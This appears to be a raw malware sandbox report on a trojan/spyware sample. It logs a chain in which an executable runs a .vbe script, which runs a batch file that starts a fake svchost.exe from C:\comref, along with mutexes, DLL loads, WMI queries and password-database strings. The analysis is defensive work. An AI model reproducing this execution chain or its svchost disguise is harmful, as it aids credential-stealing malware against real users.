                              Source: ThQetCXk.log.14.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
                              Source: jIMTFKhG.log.14.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
                              Source: ugRGgCJhQl.exe, 00000000.00000003.1238149934.0000000002678000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewscript.exe.mui` vs ugRGgCJhQl.exe
                              Source: ugRGgCJhQl.exe, 00000000.00000003.1238149934.0000000002678000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewscript.exe` vs ugRGgCJhQl.exe
                              Source: ugRGgCJhQl.exeBinary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs ugRGgCJhQl.exe
                              Source: ugRGgCJhQl.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                              Source: svchost.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                              Source: LMrHnriI.log.14.dr, -.csCryptographic APIs: 'TransformFinalBlock'
                              Source: eVuUdNSS.log.14.dr, -.csCryptographic APIs: 'TransformFinalBlock'
                              Source: ThQetCXk.log.14.dr, -.csCryptographic APIs: 'TransformFinalBlock'
                              Source: jIMTFKhG.log.14.dr, -.csCryptographic APIs: 'TransformFinalBlock'
                              Source: ApTjSBhc.log.14.dr, -.csCryptographic APIs: 'TransformFinalBlock'
                              Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@9/466@0/1
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002E6C74 GetLastError,FormatMessageW,0_2_002E6C74
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FA6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,0_2_002FA6C2
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\LMrHnriI.logJump to behavior
                              Source: C:\comref\svchost.exeMutant created: NULL
                              Source: C:\comref\svchost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\00a407d7263350ca9f7793f96a31d0aad7843c9072ff0d1a09dfe32680f80b8d
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5200:120:WilError_03
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\AppData\Local\Temp\Wxdj6ODvaYJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comref\dbCG2LHUCV1kAJJ.bat" "
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCommand line argument: sfxname0_2_002FDF1E
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCommand line argument: sfxstime0_2_002FDF1E
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCommand line argument: STARTDLG0_2_002FDF1E
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCommand line argument: xz30_2_002FDF1E
                              Source: ugRGgCJhQl.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                              Source: ugRGgCJhQl.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeFile read: C:\Windows\win.iniJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                              Source: 1WY2jjUdl1.14.dr, L21sbTTxmo.14.dr, L9xikfAntt.14.dr, D1Cp9d6zuD.14.dr, XTiotNMabD.14.dr, AMXqSHCB0s.14.dr, PjI6MUHJUZ.14.dr, NXfnoTydBh.14.dr, nYudwX8gSM.14.dr, vAgN0dNWXr.14.dr, VZr7vJ0zSo.14.dr, 7HU1FRJInX.14.dr, LtLchCAi4O.14.dr, XFurddSr42.14.dr, IlNgX09QuD.14.dr, Mxj7t1e7if.14.dr, UxnVdDyGZe.14.dr, NRjtAvmiUd.14.dr, TagpmgdvsD.14.dr, iWnabsCJnr.14.dr, mOKZPBiCta.14.dr, 9gvbbcUMnO.14.dr, 4doU9r80ih.14.dr, 7xNyfuPjyQ.14.dr, lvE3a6Gu0n.14.dr, jod8OY0J2b.14.dr, hI5x53vsfQ.14.dr, pL2w5izY5m.14.dr, lf6Auv5kcP.14.dr, Y2vzc6ZVEC.14.dr, K8pnTAe2bu.14.dr, 7jIGlhSCkj.14.dr, ZKNTTtqrWX.14.dr, Q4IOgQPg2i.14.dr, iclKmVmWNH.14.dr, o0LFCQdkbf.14.dr, c7XbMfG0Wv.14.dr, 1y4JQx39Pf.14.dr, miieUuZJJv.14.dr, kfWrPVlysn.14.dr, s2krFZAl2j.14.dr, TvDJh7kSEj.14.dr, 6VZBlysEyt.14.dr, 4711XsDufK.14.dr, wSydYuohLM.14.dr, MOJJPsr9Mx.14.dr, K5H9XlnP1v.14.dr, HWBcRDH0Nl.14.dr, I8riyAvUXy.14.dr, jkA3w9Se1c.14.dr, NBT1jkkyGz.14.dr, iuOVz3fm4z.14.dr, d4iMuKFf4y.14.dr, LXvYLiTK9n.14.dr, LUAMPIdxsr.14.dr, ILFGyJrkQR.14.dr, nh3HpWjBQz.14.drBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                              Source: ugRGgCJhQl.exeVirustotal: Detection: 56%
                              Source: ugRGgCJhQl.exeReversingLabs: Detection: 79%
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeFile read: C:\Users\user\Desktop\ugRGgCJhQl.exeJump to behavior
                              Source: unknownProcess created: C:\Users\user\Desktop\ugRGgCJhQl.exe "C:\Users\user\Desktop\ugRGgCJhQl.exe"
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\comref\POAHIjOuJ41OH.vbe"
                              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comref\dbCG2LHUCV1kAJJ.bat" "
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\comref\svchost.exe "C:\comref/svchost.exe"
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\comref\POAHIjOuJ41OH.vbe" Jump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comref\dbCG2LHUCV1kAJJ.bat" "Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\comref\svchost.exe "C:\comref/svchost.exe"Jump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: <pi-ms-win-core-localization-l1-2-1.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: version.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: dxgidebug.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: sfc_os.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: dwmapi.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: riched20.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: usp10.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: msls31.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: windowscodecs.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: textshaping.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: textinputframework.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: coreuicomponents.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: coremessaging.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: ntmarta.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: coremessaging.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: policymanager.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: msvcp110_win.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: pcacli.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeSection loaded: mpr.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dlnashext.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wpdshext.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: mscoree.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: version.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: ktmw32.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: wbemcomn.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: amsi.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: iphlpapi.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: dnsapi.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: dhcpcsvc6.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: dhcpcsvc.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: winnsi.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: rasapi32.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: rasman.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: rtutils.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: mswsock.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: winhttp.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: winmm.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: winmmbase.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: mmdevapi.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: devobj.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: ksuser.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: avrt.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: audioses.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: powrprof.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: umpdc.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: msacm32.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: midimap.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: dwrite.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: windowscodecs.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: ntmarta.dllJump to behavior
                              Source: C:\comref\svchost.exeSection loaded: dpapi.dllJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
                              Source: Window RecorderWindow detected: More than 3 window changes detected
                              Source: C:\comref\svchost.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                              Source: ugRGgCJhQl.exeStatic file information: File size 2295916 > 1048576
                              Source: ugRGgCJhQl.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                              Source: ugRGgCJhQl.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                              Source: ugRGgCJhQl.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                              Source: ugRGgCJhQl.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                              Source: ugRGgCJhQl.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                              Source: ugRGgCJhQl.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                              Source: ugRGgCJhQl.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                              Source: ugRGgCJhQl.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004BFC000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: iC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004CB9000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006A94000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000044FA000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006628000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: rC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006455000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006876000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: pC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006A94000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: qC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004CB9000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000052B6000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000052B6000.00000004.00000800.00020000.00000000.sdmp
